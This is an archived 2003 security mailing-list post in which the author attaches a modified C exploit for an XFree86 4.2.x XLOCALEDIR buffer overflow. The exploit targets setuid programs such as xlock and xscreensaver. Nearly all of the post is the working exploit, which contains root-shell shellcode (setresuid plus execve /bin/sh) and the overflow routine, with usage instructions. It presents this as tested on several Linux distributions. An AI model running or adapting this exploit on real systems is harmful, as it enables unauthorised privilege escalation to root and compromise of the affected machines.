Re: xscreensaver exploit for Redhat 7.3

From: Inode (inodeat_private)
Date: Fri Mar 07 2003 - 12:45:51 PST

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    Hi all,
exploit attached.

Comments are welcome.

Sincerely,

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| Agazzini Maurizio                       Tel:   +39-011-32.72.100  |
| Security Analyst                        Fax:   +39-011-32.46.497  |
| @ Mediaservice.net S.R.L.          D.S.D. Data Security Division  |
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/*

	Original exploit:
		** oC-localX.c - XFree86 Version 4.2.x local root exploit
		** By dcryptr && tarranta / oC

	This exploit is a modified version of the original oC-localX.c
	built to work without any offset. 

	Some distro have the file: /usr/X11R6/bin/dga +s
	This program isn't exploitable because it drops privileges
	before running the Xlib function vulnerable to this overflow.

	This exploit works on linux x86 on all distro. 

	Tested on:	
		- Slackware 8.1 ( xlock, xscreensaver, xterm)
		- Redhat 7.3 ( manual +s to xlock )
		- Suse 8.1 ( manual +s to xlock )

	by Inode <inodeat_private>

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static char shellcode[] = 

        /* setresuid(0,0,0); */
 	"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
        /* /bin/sh execve(); */
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
        "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
        /* exit(0); */
        "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";


#define ALIGN 0 

int main(int argc, char **argv)
{
	char 	buffer[6000];
	int i;
	int ret;
	char *env[3] = {buffer,shellcode,  NULL}; 

	int *ap;

	strcpy(buffer, "XLOCALEDIR=");

	printf("\nXFree86 4.2.x Exploit modified by Inode <inodeat_private>\n\n");
	if( argc != 3 )
	{
		printf(" Usage: %s <full path> <name>\n",argv[0]);
		printf("\n Example: %s /usr/X11R6/bin/xlock xlock\n\n",argv[0]);
		return 1;
	}

	ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]) ;

	ap = (int *)( buffer + ALIGN + strlen(buffer) );

	for (i = 0; i < sizeof(buffer); i += 4)
		*ap++ = ret;
	
	execle(argv[1], argv[2], NULL, env);

	return(0);
}

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